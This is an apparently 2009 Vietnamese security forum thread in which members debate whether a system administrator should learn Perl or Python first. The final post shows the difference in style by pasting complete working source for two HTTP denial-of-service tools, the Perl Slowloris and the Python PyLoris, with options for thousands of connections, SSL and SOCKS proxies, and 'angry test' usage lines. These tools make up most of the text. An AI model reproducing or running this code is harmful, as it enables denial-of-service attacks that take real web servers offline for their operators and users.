banner

[Rule] Rules  [Home] Main Forum  [Portal] Portal  
[Members] Member Listing  [Statistics] Statistics  [Search] Search  [Reading Room] Reading Room 
[Register] Register  
[Login] Loginhttp  | https  ]
 
Forum Index Thảo luận việc định hướng Nên học perl trước hay python trước?  XML
Poll
Xét từ góc độ công việc của một Admin, dùng ngôn ngữ nào thích hợp hơn?
  [Question]   Nên học perl trước hay python trước? 23/07/2009 01:10:13 (+0700) | #1 | 187189
newbieProIT
Member

[Minus]    0    [Plus]
Joined: 14/04/2009 20:14:14
Messages: 68
Offline
[Profile] [PM]
Theo như em tìm hiểu thì hai ngôn ngữ này có nhiều điểm chung. Tuy nhiên perl thì chỉ mạnh trong những chương trình nhỏ dạng như shell script. Còn python thì có thể dùng để viết những chương trình lớn.
Dĩ nhiên là biết 2 ngôn ngữ này thì quá tốt. Nhưng theo các anh nên học cái nào trước thì tốt hơn? Và cái em phân vân là nếu xét từ góc độ công việc của một Admin thì ngôn ngữ nào cần hơn.
Câu hỏi của newbie, mong các anh chị đừng cười em smilie
[Up] [Print Copy]
  [Question]   Nên học perl trước hay python trước? 23/07/2009 06:29:32 (+0700) | #2 | 187209
[Avatar]
hoahongtim
Researcher

Joined: 15/07/2002 02:59:49
Messages: 156
Location: Underground
Offline
[Profile] [PM] [WWW] [Yahoo!]
Nếu chưa biết cả Perl và Python, thì nên học Python đi smilie
[Up] [Print Copy]
  [Question]   Nên học perl trước hay python trước? 23/07/2009 06:56:39 (+0700) | #3 | 187214
[Avatar]
holiganvn
Member

[Minus]    0    [Plus]
Joined: 08/05/2009 19:29:45
Messages: 370
Location: Cố Đô Huế
Offline
[Profile] [PM]

newbieProIT wrote:
Theo như em tìm hiểu thì hai ngôn ngữ này có nhiều điểm chung. Tuy nhiên perl thì chỉ mạnh trong những chương trình nhỏ dạng như shell script. Còn python thì có thể dùng để viết những chương trình lớn.
Dĩ nhiên là biết 2 ngôn ngữ này thì quá tốt. Nhưng theo các anh nên học cái nào trước thì tốt hơn? Và cái em phân vân là nếu xét từ góc độ công việc của một Admin thì ngôn ngữ nào cần hơn.
Câu hỏi của newbie, mong các anh chị đừng cười em smilie 


nên học perl trước đi bạn,perl dễ học và hay hơn python nhiều
HaCk t0 LeArN,N0t LeArN t0 HaCk
[Up] [Print Copy]
  [Question]   Nên học perl trước hay python trước? 23/07/2009 07:06:56 (+0700) | #4 | 187216
[Avatar]
conmale
Administrator

Joined: 07/05/2004 23:43:15
Messages: 9353
Location: down under
Offline
[Profile] [PM]

holiganvn wrote:

newbieProIT wrote:
Theo như em tìm hiểu thì hai ngôn ngữ này có nhiều điểm chung. Tuy nhiên perl thì chỉ mạnh trong những chương trình nhỏ dạng như shell script. Còn python thì có thể dùng để viết những chương trình lớn.
Dĩ nhiên là biết 2 ngôn ngữ này thì quá tốt. Nhưng theo các anh nên học cái nào trước thì tốt hơn? Và cái em phân vân là nếu xét từ góc độ công việc của một Admin thì ngôn ngữ nào cần hơn.
Câu hỏi của newbie, mong các anh chị đừng cười em smilie 


nên học perl trước đi bạn,perl dễ học và hay hơn python nhiều 


perl hay hơn python (nhiều) ở những điểm nào vậy? smilie
What bringing us together is stronger than what pulling us apart.
[Up] [Print Copy]
  [Question]   Nên học perl trước hay python trước? 23/07/2009 07:40:22 (+0700) | #5 | 187220
[Avatar]
rickb
Reseacher

Joined: 27/01/2007 17:47:27
Messages: 200
Offline
[Profile] [PM] [Yahoo!]

holiganvn wrote:

newbieProIT wrote:
Theo như em tìm hiểu thì hai ngôn ngữ này có nhiều điểm chung. Tuy nhiên perl thì chỉ mạnh trong những chương trình nhỏ dạng như shell script. Còn python thì có thể dùng để viết những chương trình lớn.
Dĩ nhiên là biết 2 ngôn ngữ này thì quá tốt. Nhưng theo các anh nên học cái nào trước thì tốt hơn? Và cái em phân vân là nếu xét từ góc độ công việc của một Admin thì ngôn ngữ nào cần hơn.
Câu hỏi của newbie, mong các anh chị đừng cười em smilie 


nên học perl trước đi bạn,perl dễ học và hay hơn python nhiều 


Có lẽ bạn hơi bi6 sai lần, so về mức độ dễ hơn thì python ăn đứt perl, còn về "hay" thì cá nhân tôi thích python hơn và tôi cũng đã tập thói quen dùng python thay perl. Trừ khi cá bạn đã học perl quen rồi, còn không thì tôi luôn khuyên nên học python smilie

Thân,
[Up] [Print Copy]
  [Question]   Nên học perl trước hay python trước? 23/07/2009 09:36:36 (+0700) | #6 | 187233
[Avatar]
quanta
Moderator

Joined: 28/07/2006 14:44:21
Messages: 7265
Location: $ locate `whoami`
Offline
[Profile] [PM]
Có vài nghìn http://www.google.com.vn/search?hl=vi&q=Perl+vs.+Python&btnG=T%C3%ACm+ki%E1%BA%BFm&meta= trên mạng đã nổ ra để thảo luận về chủ đề này rồi (thấy mọi người voted cho Python nhiều phết). Mình cũng đã từng phân vân như thế nhưng rồi cuối cùng lại quyết định chọn... Perl.

Theo như nhiều *cao thủ* lập trình đã nói: thật ra việc chọn một ngôn ngữ nào đó không quan trọng lắm (tất nhiên ở đây chỉ nói đến những cặp ngôn ngữ kiểu như Java vs. .Net hay Perl vs. Python, ...), điểm quan trọng là bạn dùng ngôn ngữ đó như thế nào? Như vậy, theo mình bạn cứ chọn "bừa" một cái đi, rồi bắt tay vào học luôn thay vì ngồi phân vân, mất thời gian mà lại nhức đầu lắm, hehe.

Vài lời tán phét.
Let's build on a great foundation!
[Up] [Print Copy]
  [Question]   Nên học perl trước hay python trước? 23/07/2009 10:18:50 (+0700) | #7 | 187236
newbieProIT
Member

[Minus]    0    [Plus]
Joined: 14/04/2009 20:14:14
Messages: 68
Offline
[Profile] [PM]

quanta wrote:
Có vài nghìn http://www.google.com.vn/search?hl=vi&q=Perl+vs.+Python&btnG=T%C3%ACm+ki%E1%BA%BFm&meta= trên mạng đã nổ ra để thảo luận về chủ đề này rồi (thấy mọi người voted cho Python nhiều phết). Mình cũng đã từng phân vân như thế nhưng rồi cuối cùng lại quyết định chọn... Perl.
 

Thanks anh vì vài lời tán phét smilie smilie
Anh có thể cho em biết tại sao anh chọn perl mà không chọn python không smilie.
[Up] [Print Copy]
  [Question]   Nên học perl trước hay python trước? 23/07/2009 10:30:28 (+0700) | #8 | 187238
[Avatar]
holiganvn
Member

[Minus]    0    [Plus]
Joined: 08/05/2009 19:29:45
Messages: 370
Location: Cố Đô Huế
Offline
[Profile] [PM]

conmale wrote:

holiganvn wrote:

newbieProIT wrote:
Theo như em tìm hiểu thì hai ngôn ngữ này có nhiều điểm chung. Tuy nhiên perl thì chỉ mạnh trong những chương trình nhỏ dạng như shell script. Còn python thì có thể dùng để viết những chương trình lớn.
Dĩ nhiên là biết 2 ngôn ngữ này thì quá tốt. Nhưng theo các anh nên học cái nào trước thì tốt hơn? Và cái em phân vân là nếu xét từ góc độ công việc của một Admin thì ngôn ngữ nào cần hơn.
Câu hỏi của newbie, mong các anh chị đừng cười em smilie 


nên học perl trước đi bạn,perl dễ học và hay hơn python nhiều 


perl hay hơn python (nhiều) ở những điểm nào vậy? smilie  


thế là bác conmale đồng ý perl hay hơn python rồi nhé,perl hay hơn python bởi vì có khả năng tạo các chương trình nhỏ(script Attack) 1 cách nhanh chóng(rất hợp với tính cách của em) ngoài ra nó 'dính“ vào công việc lập trình web do khả năng xử lý văn bản mạnh, rất linh động, khả năng chạy trên nhiều nền tảng và miễn phí.hoan hô lạc đà smilie




@rickb:dở hay là do người học,có thể người học python dở,nhưng sang perl lại học rất tốt thì sao,nếu không thích thì bác lập poll thử coi perl hay python vote nhiều hơn smilie
HaCk t0 LeArN,N0t LeArN t0 HaCk
[Up] [Print Copy]
  [Question]   Nên học perl trước hay python trước? 23/07/2009 11:01:32 (+0700) | #9 | 187240
[Avatar]
quanta
Moderator

Joined: 28/07/2006 14:44:21
Messages: 7265
Location: $ locate `whoami`
Offline
[Profile] [PM]

newbieProIT wrote:

Anh có thể cho em biết tại sao anh chọn perl mà không chọn python không smilie

Đã bảo là mình chọn... "bừa" mà.

Trong cái "bừa" đó thì cũng có một chút liên quan với *nix, shell script, regex, ...

holiganvn wrote:

conmale wrote:

holiganvn wrote:


nên học perl trước đi bạn,perl dễ học và hay hơn python nhiều 


perl hay hơn python (nhiều) ở những điểm nào vậy? smilie  


thế là bác conmale đồng ý perl hay hơn python rồi nhé,perl hay hơn python bởi vì có khả năng tạo các chương trình nhỏ(script Attack) 1 cách nhanh chóng(rất hợp với tính cách của em) ngoài ra nó 'dính“ vào công việc lập trình web do khả năng xử lý văn bản mạnh, rất linh động, khả năng chạy trên nhiều nền tảng và miễn phí.hoan hô lạc đà smilie




@rickb:dở hay là do người học,có thể người học python dở,nhưng sang perl lại học rất tốt thì sao,nếu không thích thì bác lập poll thử coi perl hay python vote nhiều hơn smilie  

Chưa chắc đã đồng ý đâu, không nhìn thấy anh conmale dùng cái mặt cười lè lưỡi à?

Nói đến điểm mạnh của Perl, "giang hồ" thường có một câu là http://en.wikipedia.org/wiki/There%27s_more_than_one_way_to_do_it. Và đó cũng chính là... điểm yếu của Perl.

PS: Xin phép cả nhà, mình làm cái poll thử chơi nhé. Không biết câu hỏi mình lập đã đúng với ý tác giả chưa, mọi người có thể đề xuất một câu hỏi tốt hơn.
Let's build on a great foundation!
[Up] [Print Copy]
  [Question]   Nên học perl trước hay python trước? 23/07/2009 11:03:46 (+0700) | #10 | 187241
[Avatar]
holiganvn
Member

[Minus]    0    [Plus]
Joined: 08/05/2009 19:29:45
Messages: 370
Location: Cố Đô Huế
Offline
[Profile] [PM]
bác quanta làm cái poll đi smilie
HaCk t0 LeArN,N0t LeArN t0 HaCk
[Up] [Print Copy]
  [Question]   Nên học perl trước hay python trước? 23/07/2009 13:34:13 (+0700) | #11 | 187251
newbieProIT
Member

[Minus]    0    [Plus]
Joined: 14/04/2009 20:14:14
Messages: 68
Offline
[Profile] [PM]

quanta wrote:

Đã bảo là mình chọn... "bừa" mà.

 


Em cũng vừa mới "bừa" trúng Perl smilie.
Vote cho Perl một phiếu. Tỉ số hiện giờ Perl:4-2: Python ^^
[Up] [Print Copy]
  [Question]   Nên học perl trước hay python trước? 23/07/2009 19:56:50 (+0700) | #12 | 187268
[Avatar]
conmale
Administrator

Joined: 07/05/2004 23:43:15
Messages: 9353
Location: down under
Offline
[Profile] [PM]

holiganvn wrote:


thế là bác conmale đồng ý perl hay hơn python rồi nhé,perl hay hơn python bởi vì có khả năng tạo các chương trình nhỏ(script Attack) 1 cách nhanh chóng(rất hợp với tính cách của em) ngoài ra nó 'dính“ vào công việc lập trình web do khả năng xử lý văn bản mạnh, rất linh động, khả năng chạy trên nhiều nền tảng và miễn phí.hoan hô lạc đà smilie
 


Ặc ặc, sao tự nhiên "xác định" giúp tớ vậy? Tớ có nói perl hơn python hồi nào đâu?

Do newbieProIT đưa ra đòi hỏi "xét từ góc độ công việc của một Admin" thì mênh mông quá.

Python dùng để manipulate data (phần lớn là String) thì có vẻ thua Perl. Tuy nhiên, để thực hiện các chuỗi công việc phức tạp thì phải nói rằng code Python gọn gàng hơn Perl rất xa. Perl được tạo ra với dụng ý tràm những chỗ trống của shell script (dùng song song với sed / awk...) và nó được xem là một dạng scripting language hơn là một general computer language.

Do triết lý "there is more than one way to skin a cat" nên perl script (ở mức độ ứng dụng phức tạp) thì code của nó sẽ rất phức tạp, khó đọc, khó theo sát. Cũng ở mức độ phức tạp ấy nếu viết bằng python thì nội dung sẽ ngắn hơn và ít phức tạp hơn, dễ đọc hơn, dễ mở rộng hơn.

Đây là ý kiến cá nhân của tớ.
What bringing us together is stronger than what pulling us apart.
[Up] [Print Copy]
  [Question]   Nên học perl trước hay python trước? 23/07/2009 20:14:33 (+0700) | #13 | 187269
[Avatar]
holiganvn
Member

[Minus]    0    [Plus]
Joined: 08/05/2009 19:29:45
Messages: 370
Location: Cố Đô Huế
Offline
[Profile] [PM]
perl 5 phiếu rồi smilie
HaCk t0 LeArN,N0t LeArN t0 HaCk
[Up] [Print Copy]
  [Question]   Nên học perl trước hay python trước? 23/07/2009 20:42:52 (+0700) | #14 | 187270
[Avatar]
conmale
Administrator

Joined: 07/05/2004 23:43:15
Messages: 9353
Location: down under
Offline
[Profile] [PM]
Để thêm phần hấp dẫn, tớ post lên 2 mảnh codes của cái "slowloris" /hvaonline/posts/list/29851.html:

Bản slowloris nguyên thủy viết bằng perl:

Code:
#!/usr/bin/perl -w
use strict;
use IO::Socket::INET;
use IO::Socket::SSL;
use Getopt::Long;
use Config;

$SIG{'PIPE'} = 'IGNORE';    #Ignore broken pipe errors

my ( $host, $port, $sendhost, $shost, $test, $version, $timeout, $connections );
my ( $cache, $httpready, $method, $ssl, $rand, $tcpto );
my $result = GetOptions(
    'shost=s'   => \$shost,
    'dns=s'     => \$host,
    'httpready' => \$httpready,
    'num=i'     => \$connections,
    'cache'     => \$cache,
    'port=i'    => \$port,
    'https'     => \$ssl,
    'tcpto=i'   => \$tcpto,
    'test'      => \$test,
    'timeout=i' => \$timeout,
    'version'   => \$version,
);

if ($version) {
    print "Version 0.7\n";
    exit;
}

unless ($host) {
    print "Usage:\n\n\tperl $0 -dns [www.example.com] -options\n";
    print "\n\tType 'perldoc $0' for help with options.\n\n";
    exit;
}

unless ($port) {
    $port = 80;
    print "Defaulting to port 80.\n";
}

unless ($tcpto) {
    $tcpto = 5;
    print "Defaulting to a 5 second tcp connection timeout.\n";
}

unless ($test) {
    unless ($timeout) {
        $timeout = 100;
        print "Defaulting to a 100 second re-try timeout.\n";
    }
    unless ($connections) {
        $connections = 1000;
        print "Defaulting to 1000 connections.\n";
    }
}

my $usemultithreading = 0;
if ( $Config{usethreads} ) {
    print "Multithreading enabled.\n";
    $usemultithreading = 1;
    use threads;
    use threads::shared;
}
else {
    print "No multithreading capabilites found!\n";
    print "Slowloris will be slower than normal as a result.\n";
}

my $packetcount : shared     = 0;
my $failed : shared          = 0;
my $connectioncount : shared = 0;

srand() if ($cache);

if ($shost) {
    $sendhost = $shost;
}
else {
    $sendhost = $host;
}
if ($httpready) {
    $method = "POST";
}
else {
    $method = "GET";
}

if ($test) {
    my @times = ( "2", "30", "90", "240", "500" );
    my $totaltime = 0;
    foreach (@times) {
        $totaltime = $totaltime + $_;
    }
    $totaltime = $totaltime / 60;
    print "This test could take up to $totaltime minutes.\n";

    my $delay   = 0;
    my $working = 0;
    my $sock;

    if ($ssl) {
        if (
            $sock = new IO::Socket::SSL(
                PeerAddr => "$host",
                PeerPort => "$port",
                Timeout  => "$tcpto",
                Proto    => "tcp",
            )
          )
        {
            $working = 1;
        }
    }
    else {
        if (
            $sock = new IO::Socket::INET(
                PeerAddr => "$host",
                PeerPort => "$port",
                Timeout  => "$tcpto",
                Proto    => "tcp",
            )
          )
        {
            $working = 1;
        }
    }
    if ($working) {
        if ($cache) {
            $rand = "?" . int( rand(99999999999999) );
        }
        else {
            $rand = "";
        }
        my $primarypayload =
            "GET /$rand HTTP/1.1\r\n"
          . "Host: $sendhost\r\n"
          . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n"
          . "Content-Length: 42\r\n";
        if ( print $sock $primarypayload ) {
            print "Connection successful, now comes the waiting game...\n";
        }
        else {
            print
"That's odd - I connected but couldn't send the data to $host:$port.\n";
            print "Is something wrong?\nDying.\n";
            exit;
        }
    }
    else {
        print "Uhm... I can't connect to $host:$port.\n";
        print "Is something wrong?\nDying.\n";
        exit;
    }
    for ( my $i = 0 ; $i <= $#times ; $i++ ) {
        print "Trying a $times[$i] second delay: \n";
        sleep( $times[$i] );
        if ( print $sock "X-a: b\r\n" ) {
            print "\tWorked.\n";
            $delay = $times[$i];
        }
        else {
            if ( $SIG{__WARN__} ) {
                $delay = $times[ $i - 1 ];
                last;
            }
            print "\tFailed after $times[$i] seconds.\n";
        }
    }

    if ( print $sock "Connection: Close\r\n\r\n" ) {
        print "Okay that's enough time. Slowloris closed the socket.\n";
        print "Use $delay seconds for -timeout.\n";
        exit;
    }
    else {
        print "Remote server closed socket.\n";
        print "Use $delay seconds for -timeout.\n";
        exit;
    }
    if ( $delay < 166 ) {
        print <<EOSUCKS2BU;
Since the timeout ended up being so small ($delay seconds) and it generally 
takes between 200-500 threads for most servers and assuming any latency at 
all...  you might have trouble using Slowloris against this target.  You can 
tweak the -timeout flag down to less than 10 seconds but it still may not 
build the sockets in time.
EOSUCKS2BU
    }
}
else {
    print
"Connecting to $host:$port every $timeout seconds with $connections sockets:\n";

    if ($usemultithreading) {
        domultithreading($connections);
    }
    else {
        doconnections( $connections, $usemultithreading );
    }
}

sub doconnections {
    my ( $num, $usemultithreading ) = @_;
    my ( @first, @sock, @working );
    my $failedconnections = 0;
    $working[$_] = 0 foreach ( 1 .. $num );    #initializing
    $first[$_]   = 0 foreach ( 1 .. $num );    #initializing
    while (1) {
        $failedconnections = 0;
        print "\t\tBuilding sockets.\n";
        foreach my $z ( 1 .. $num ) {
            if ( $working[$z] == 0 ) {
                if ($ssl) {
                    if (
                        $sock[$z] = new IO::Socket::SSL(
                            PeerAddr => "$host",
                            PeerPort => "$port",
                            Timeout  => "$tcpto",
                            Proto    => "tcp",
                        )
                      )
                    {
                        $working[$z] = 1;
                    }
                    else {
                        $working[$z] = 0;
                    }
                }
                else {
                    if (
                        $sock[$z] = new IO::Socket::INET(
                            PeerAddr => "$host",
                            PeerPort => "$port",
                            Timeout  => "$tcpto",
                            Proto    => "tcp",
                        )
                      )
                    {
                        $working[$z] = 1;
                        $packetcount = $packetcount + 3;  #SYN, SYN+ACK, ACK
                    }
                    else {
                        $working[$z] = 0;
                    }
                }
                if ( $working[$z] == 1 ) {
                    if ($cache) {
                        $rand = "?" . int( rand(99999999999999) );
                    }
                    else {
                        $rand = "";
                    }
                    my $primarypayload =
                        "$method /$rand HTTP/1.1\r\n"
                      . "Host: $sendhost\r\n"
                      . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n"
                      . "Content-Length: 42\r\n";
                    my $handle = $sock[$z];
                    if ($handle) {
                        print $handle "$primarypayload";
                        if ( $SIG{__WARN__} ) {
                            $working[$z] = 0;
                            close $handle;
                            $failed++;
                            $failedconnections++;
                        }
                        else {
                            $packetcount++;
                            $working[$z] = 1;
                        }
                    }
                    else {
                        $working[$z] = 0;
                        $failed++;
                        $failedconnections++;
                    }
                }
                else {
                    $working[$z] = 0;
                    $failed++;
                    $failedconnections++;
                }
            }
        }
        print "\t\tSending data.\n";
        foreach my $z ( 1 .. $num ) {
            if ( $working[$z] == 1 ) {
                if ( $sock[$z] ) {
                    my $handle = $sock[$z];
                    if ( print $handle "X-a: b\r\n" ) {
                        $working[$z] = 1;
                        $packetcount++;
                    }
                    else {
                        $working[$z] = 0;
                        #debugging info
                        $failed++;
                        $failedconnections++;
                    }
                }
                else {
                    $working[$z] = 0;
                    #debugging info
                    $failed++;
                    $failedconnections++;
                }
            }
        }
        print
"Current stats:\tSlowloris has now sent $packetcount packets successfully.\nThis thread now sleeping for $timeout seconds...\n\n";
        sleep($timeout);
    }
}

sub domultithreading {
    my ($num) = @_;
    my @thrs;
    my $i                    = 0;
    my $connectionsperthread = 50;
    while ( $i < $num ) {
        $thrs[$i] =
          threads->create( \&doconnections, $connectionsperthread, 1 );
        $i += $connectionsperthread;
    }
    my @threadslist = threads->list();
    while ( $#threadslist > 0 ) {
        $failed = 0;
    }
}


(code trên đã bỏ bớt những chi tiết râu ria trang điểm và không kèm theo nội dung của các modules cần thiết được dùng trong code để cho phép slowloris chạy). Đoạn trên dài 330 dòng.



code được Christopher Gilbert viết lại bằng python:

Code:
#!/usr/bin/env python

# A basic test:
# pyloris.py motomastyle.com

# A basic test with encryption
# pyloris.py motomastyle.com --ssl -p 443

# A continuous test:
# pyloris.py motomastyle.com -l

# An angry test:
# pyloris.py motomastyle.com -f -l -k -g "/index.html" -s 500000 -w 0.5 -t 0.5 -r POST -u "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.33 Safari/530.5"

# A test through SOCKS5 (ie Vidalia):
# pyloris.py motomastyle.com --socksversion 5 --sockshost 127.0.0.1 --socksport 9050

import optparse, socket, sys, time

# Test to see if SocksiPy (http://socksipy.sourceforge.net) can be found
try:
    import socks
except ImportError:
    HAS_SOCKS = False
else:
    HAS_SOCKS = True

# Test to see if the SSL module is available
try:
    import ssl
except ImportError:
    HAS_SSL = False
else:
    HAS_SSL = True

# Test the Python version
# xrange is removed in Python 3
# thread is _thread in Python 3
if sys.version_info[0] <= 2:
    import thread
else:
    import _thread as thread
    xrange = range

# A nice little generator courtesy of Magnus Therning
def irange():
    while True:
        yield 1

# The main class
class SlowLoris:
    options = None
    threads = 0
    connections = 0

    def __init__(self):
        self.parse_options()
        self.run()

    # Parge command line options and test for errors
    # Also responsible for building the HTTP request
    def parse_options(self):
        parser = optparse.OptionParser(usage = "%prog [options] www.host.com")
        parser.add_option("-a", "--attacks", action = "store", type = "int", dest = "attacks", default = 10, help = "Number of attacks per thread(default = 10)")
        parser.add_option("-c", "--count", action = "store", type = "int", dest = "count", default = 50, help = "Number of threads start (default = 50)")
        parser.add_option("-f", "--finish", action = "store_true", dest = "finish", default = False, help = "Complete each session rather than leave them unfinished (lessens the effectiveness)")
        parser.add_option("-g", "--get", action = "store", type = "string", dest="get", default = '/', help = "Page to request from the server (default = /)")
        parser.add_option("-k", "--keepalive", action = "store_true", dest = "keepalive", default = False, help = "Turn Keep-Alive on")
        parser.add_option("-l", "--loop", action = "store_true", dest = "loop", default = False, help = "Remove thread limit (overrides -c)")
        parser.add_option("-p", "--port", action = "store", type = "int", dest = "port", default = 80, help = "Port to initiate attack on (default = 80)")
        parser.add_option("-q", "--quit", action = "store_true", dest = "quit", default = False, help = "Quit without receiving data from the server (can shorten the duration of the attack)")
        parser.add_option("-r", "--requesttype", action = "store", type = "string", dest = "requesttype", default = 'GET', help = "Request type, GET, HEAD, POST, PUT, DELETE, OPTIONS, or TRACE (default = GET)")
        parser.add_option("-R", "--referer", action = "store", type = "string", dest = "referer", default = '', help = "Set the Referer HTTP header.")
        parser.add_option("-s", "--size", action = "store", type = "int", dest = "size", default = 0, help = "size of data segment to attach in cookie (default = 0)")
        parser.add_option("-t", "--throttle", action = "store", type = "float", dest = "throttle", default = 1, help = "Throttle each request, bytes per second (default = 1)")
        parser.add_option("-u", "--useragent", action = "store", type = "string", dest = "useragent", default = 'pyloris.sf.net', help = "The User-Agent string for connections (defaut = pyloris.sf.net)")
        parser.add_option("-v", "--verbosity", action = "store", type = "int", dest = "verbosity", default = 1, help = "Verbosity level, 0, 1, 2, or 3 (default = 1)")
        parser.add_option("-w", "--wait", action = "store", type = "float", dest = "wait", default = 1, help = "Seconds between starting sessions (default = 1)")
        parser.add_option("-z", "--gzip", action = "store_true", dest = "gzip", default = False, help = "Request compressed data stream")
        parser.add_option("", "--socksversion", action = "store", type = "int", dest = "socksversion", default = 0, help = "SOCKS version number, 4 or 5. Reqires --sockshost and --socksport")
        parser.add_option("", "--sockshost", action = "store", type = "string", dest = "sockshost", default = '127.0.0.1', help = "SOCKS host address (default = 127.0.0.1)")
        parser.add_option("", "--socksport", action = "store", type = "int", dest = "socksport", default = 0, help = "SOCKS port number")
        parser.add_option("", "--socksuser", action = "store", type = "string", dest = "socksuser", default = '', help = "SOCKS username")
        parser.add_option("", "--sockspass", action = "store", type = "string", dest = "sockspass", default = '', help = "SOCKS password")
        parser.add_option("", "--ssl", action = "store_true", dest = "ssl", default = False, help = "Use SSL/TLS connection (for HTTPS testing)")
        (self.options, args) = parser.parse_args()

        sys.stdout.write("PyLoris, a Python implementation of the Slowloris attack (http://ha.ckers.org/slowloris).\r\n")

        if len(args) != 1:
            parser.error("No host supplied.\nUse -h or --help for more information")
            sys.exit(1)

        if self.options.throttle == 0:
            sys.stdout.write("You entered a connection speed of 0, defaulting to 1 B/s")
            self.options.throttletime = 1
        else:
            self.options.throttletime = 1.0 / self.options.throttle

        self.options.requesttype = self.options.requesttype.upper()
        if self.options.requesttype not in ('GET', 'HEAD', 'POST', 'PUT', 'DELETE', 'OPTIONS', 'TRACE'):
            parser.error("Invalid request type.\nUse -h or --help for more information")
            sys.exit(2)

        if self.options.socksversion != 0:
            if not HAS_SOCKS:
                parser.error("SOCKS proxy specified, no library found. Please install SocksiPy (http://socksipy.sourceforge.net)")
                sys.exit(3)
            else:
                sys.stdout.write("SOCKS support provided by SocksiPy (http://socksipy.sourceforge.net)\n")

            if not self.options.socksversion in (4, 5):
                parser.error("Only SOCKS4 and SOCKS5 are supported.")
                sys.exit(4)

            if self.options.socksport == 0:
                parser.error("When using a SOCKS proxy, specify the port number to connect on.")
                sys.exit(5)

            if (self.options.socksuser != '' and self.options.sockspass == '') or (self.options.socksuser == '' and self.options.sockspass != ''):
                parser.error("When authenticating against a SOCKS proxy, please specify both a username and password.")
                sys.exit(6)

            sys.stdout.write("Connecting through SOCKS%i proxy at %s:%i\n" % (self.options.socksversion, self.options.sockshost, self.options.socksport))

        if self.options.ssl and not HAS_SSL:
            parser.error("SSL connection specified, but the SSL module could not be loaded. Quitting.")
            sys.exit(7)

        self.options.host = args[0]

        self.request = "%s %s HTTP/1.1\r\nHost: %s\r\nUser-Agent: %s" % (self.options.requesttype, self.options.get, self.options.host, self.options.useragent)

        if self.options.keepalive == True:
            self.request = self.request + "\r\nConnection: Keep-Alive"

        if self.options.referer != '':
            self.request = self.request + "\r\nReferer: %s" % (self.options.referer)

        if self.options.gzip == True:
            self.request = self.request + "\r\nAccept-Encoding: gzip"

        if self.options.size > 0:
            self.request = self.request + "\r\nCookie: "
            if self.options.size > 100:
                count = self.options.size / 100
                for i in xrange(int(count)):
                    self.request = self.request + ("data%i=%s " % (i, 'A' * 100))
                self.request = self.request + "data=" + ('A' * 100)
            else:
                self.request = self.request + "data=" + ('A' * self.options.size)

        if self.options.finish == True:
            sys.stdout.write("Specifying the -f or --finish flags can reduce the effectiveness of the test.")
            self.request = self.request + "\r\n\r\n"

        sys.stdout.flush()

    # The main status loop
    def run(self):
        sys.stdout.write(' ' * 59)

        if self.options.loop:
            the_range = irange()
        else:
            the_range = xrange(self.options.count)

        for i in the_range:
            self.create_new_worker()

        while self.threads > 0:
            self.errprint("\b" * 59 + "[STATUS]: % 7i worker threads. % 7i open connections." % (self.threads, self.connections), 0)
            time.sleep(5)

    # Spawn new worker threads
    def create_new_worker(self):
        if self.options.verbosity > 0:
            sys.stdout.write("\b" * 59 + "[STATUS]: % 7i worker threads. % 7i open connections." % (self.threads, self.connections))
            sys.stdout.flush()
        try:
            thread.start_new_thread(self.loris, ())
        except thread.error as ex:
            self.errprint(("\n[THREAD]: %s\n" + " " * 59) % (ex), 2)
            time.sleep(5)
        except: pass
        time.sleep(self.options.wait)

    # Initiate new connections
    # Responsible for SOCKS connections and SSL
    def create_new_connection(self):
        if self.options.socksversion == 0:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        else:
            s = socks.socksocket()

            if self.options.socksversion == 4:
                socksversion = socks.PROXY_TYPE_SOCKS4
            else:
                socksversion = socks.PROXY_TYPE_SOCKS5

            if self.options.socksuser == '':
                s.setproxy(socksversion, self.options.sockshost, self.options.socksport)
            else:
                s.setproxy(socksversion, self.options.sockshost, self.options.socksport, True, self.options.socksuser, self.options.sockspass)

        if self.options.ssl ==  True:
            ssl.wrap_socket(s)

        s.connect((self.options.host, self.options.port))
        return s

    # The main attack method, called once per thread
    def loris(self):
        self.threads = self.threads + 1
        sock = []
        constat = []
        byteinc = 1

        for i in xrange(self.options.attacks):
            try:
                sock.insert(0, self.create_new_connection())
                self.connections += 1
                constat.insert(0, 1)
            except socket.error as ex:
                constat.insert(0, 0)
                self.errprint("\n[CONNECT]: %s\n" % (ex), 1)
            except: pass

            for j in xrange(len(sock)):
                try:
                    if j < len(self.request) and constat[j] == 1:
                        sock[j].send(self.request[j].encode())
                except socket.error as ex:
                    self.connections -= 1
                    constat[j] = 0
                    self.errprint("\n[SEND]: %s\n" % (ex), 1)
                except: pass

            time.sleep(self.options.throttletime)

        while byteinc < len(self.request) and sum(constat) > 0:
            for i in xrange(len(sock)):
                if byteinc + i < len(self.request) and constat[i] == 1:
                    try:
                        sock[i].send(self.request[byteinc + i].encode())
                    except socket.error as ex:
                        self.connections -= 1
                        constat[i] = 0
                        self.errprint("\n[SEND]: %s\n" % (ex), 1)
                    except: pass
            time.sleep(self.options.throttletime)
            byteinc = byteinc + 1

        if self.options.quit:
            for i in xrange(len(sock)):
                if constat[i] == 1:
                    try:
                        sock[i].close()
                    except: pass
        else:
            for i in xrange(len(sock)):
                if constat[i] == 1:
                    try:
                        data = sock[i].recv(1024)
                        while len(data):
                            data = sock[i].recv(1024)
                        sock[i].close()
                        self.connections -= 1
                        constat[i] = 0
                    except socket.error as ex:
                        self.connections -= 1
                        constat[i] = 0
                        self.errprint("\n[RECEIVE]: %s\n" % (ex), 1)
                    except: pass

        self.connections -= sum(constat)
        self.threads -= 1
        return

    # Error reporting, based on --verbosity level
    def errprint(self, s, verbosity = -1):
        if self.options.verbosity > verbosity:
            sys.stderr.write(s)
            sys.stderr.flush()

if __name__ == "__main__":
    SlowLoris()


(code này không kèm theo module "socks.py" để cho phép pyloris chạy). Đoạn trên dài 287 dòng.
What bringing us together is stronger than what pulling us apart.
[Up] [Print Copy]
